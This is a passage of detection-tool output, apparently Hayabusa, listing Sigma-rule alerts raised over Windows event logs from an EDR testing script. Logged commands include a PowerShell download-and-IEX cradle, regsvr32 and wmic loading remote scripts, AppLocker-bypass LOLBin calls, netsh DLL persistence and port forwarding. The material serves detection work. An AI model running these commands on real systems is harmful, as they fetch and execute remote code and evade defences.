Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,Suspicious XOR Encoded PowerShell Command Line,,rules/sigma/process_creation/win_powershell_xor_commandline.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,PowerShell Download from URL,,rules/sigma/process_creation/win_powershell_download.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,low,Non Interactive PowerShell,,rules/sigma/process_creation/win_non_interactive_powershell.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,Encoded PowerShell Command Line,,rules/sigma/process_creation/win_powershell_cmdline_specific_comb_methods.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,medium,Windows Suspicious Use Of Web Request in CommandLine,,rules/sigma/process_creation/process_creation_susp_web_request_cmd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:23.507 +09:00,MSEDGEWIN10,1,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:24.563 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: powershell -c ""(New-Object Net.WebClient).DownloadFile('https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/CradleTest.txt','Default_File_Path.ps1');IEX((-Join([IO.File]::ReadAllBytes('Default_File_Path.ps1')|ForEach-Object{[Char]$_})))""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:24.563 +09:00,MSEDGEWIN10,1,high,Suspicious PowerShell Invocations - Specific,,rules/sigma/deprecated/powershell_suspicious_invocation_specific.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:25.202 +09:00,MSEDGEWIN10,3,low,PowerShell Network Connections,,rules/sigma/network_connection/sysmon_powershell_network_connection.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.250 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.250 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.374 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v2.0.50727\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:28.374 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.341 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.341 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.565 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.565 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.646 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:29.646 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:30.074 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.295 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v2.0.50727\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.295 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.411 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v2.0.50727\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.411 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:34.483 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.312 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.312 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.358 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.358 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.372 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.907 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:39.907 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.268 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.287 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.641 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll : Path: C:\Windows\System32\regsvr32.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.641 +09:00,MSEDGEWIN10,1,high,Regsvr32 Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_anomalies.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:44.641 +09:00,MSEDGEWIN10,1,high,Regsvr32 Flags Anomaly,,rules/sigma/process_creation/win_susp_regsvr32_flags_anomaly.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:45.581 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: regsvr32.exe /s /u /i:https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Cmstp_calc.sct scrobj.dll",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:46.095 +09:00,MSEDGEWIN10,3,high,Regsvr32 Network Activity,,rules/sigma/network_connection/sysmon_regsvr32_network_activity.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:49.748 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe xxxFile.csproj : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:49.748 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:49.889 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:50.104 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe xxxFile.csproj : Path: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c C:\Windows\Microsoft.Net\Framework\v4.0.30319\MSBuild.exe xxxFile.csproj,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:50.104 +09:00,MSEDGEWIN10,1,low,Possible Applocker Bypass,,rules/sigma/process_creation/win_possible_applocker_bypass.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:53.776 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl"" : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:53.843 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: timeout 5 : Path: C:\Windows\System32\timeout.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.246 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl"" : Path: C:\Windows\System32\wbem\WMIC.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.246 +09:00,MSEDGEWIN10,1,medium,XSL Script Processing,,rules/sigma/process_creation/win_xsl_script_processing.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.246 +09:00,MSEDGEWIN10,1,medium,SquiblyTwo,,rules/sigma/process_creation/win_bypass_squiblytwo.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.630 +09:00,MSEDGEWIN10,11,high,Windows Shell File Write to Suspicious Folder,,rules/sigma/file_event/file_event_win_shell_write_susp_directory.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:54.718 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: ""C:\Windows\System32\calc.exe"" : Path: C:\Windows\System32\calc.exe : User: MSEDGEWIN10\IEUser : Parent Command: wmic process get brief /format:""https://raw.githubusercontent.com/op7ic/EDR-Testing-Script/master/Payloads/Wmic_calc.xsl""",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.256 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.256 +09:00,MSEDGEWIN10,1,medium,Capture a Network Trace with netsh.exe,,rules/sigma/process_creation/win_netsh_packet_capture.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.286 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh trace show status : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.485 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh.exe add helper AllTheThings.dll : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.543 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.598 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:33:58.683 +09:00,MSEDGEWIN10,1,informational,Process Creation,"Command: cmd /c netsh trace stop : Path: C:\Windows\System32\cmd.exe : User: MSEDGEWIN10\IEUser : Parent Command: ""C:\Windows\System32\cmd.exe"" /C ""C:\ProgramData\ssh\runtests.bat"" ",rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.330 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh trace show status : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh trace show status ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.420 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh trace start capture=yes filemode=append persistent=yes tracefile=trace.etl ,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.420 +09:00,MSEDGEWIN10,1,medium,Capture a Network Trace with netsh.exe,,rules/sigma/process_creation/win_netsh_packet_capture.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.434 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh trace stop : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh trace stop,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.442 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0 : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh interface portproxy delete v4tov4 listenport=8080 listenaddress=0.0.0.0,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.442 +09:00,MSEDGEWIN10,1,medium,Netsh Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.460 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1 : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh interface portproxy add v4tov4 listenport=8080 listenaddress=0.0.0.0 connectport=8000 connectaddress=192.168.1.1,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.460 +09:00,MSEDGEWIN10,1,medium,Netsh Port Forwarding,,rules/sigma/process_creation/win_netsh_port_fwd.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.466 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: netsh.exe add helper AllTheThings.dll : Path: C:\Windows\System32\netsh.exe : User: MSEDGEWIN10\IEUser : Parent Command: cmd /c netsh.exe add helper AllTheThings.dll,rules/hayabusa/sysmon/events/1_ProcessCreation.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.466 +09:00,MSEDGEWIN10,1,high,Suspicious Netsh DLL Persistence,,rules/sigma/process_creation/win_susp_netsh_dll_persistence.yml,../hayabusa-sample-evtx/EVTX-ATTACK-SAMPLES/AutomatedTestingTools/panache_sysmon_vs_EDRTestingScript.evtx +2019-07-30 06:34:00.731 +09:00,MSEDGEWIN10,1,informational,Process Creation,Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc : Path: C:\Windows\System32\svchost.exe : User: NT AUTHORITY\SYSTEM : Parent Command: 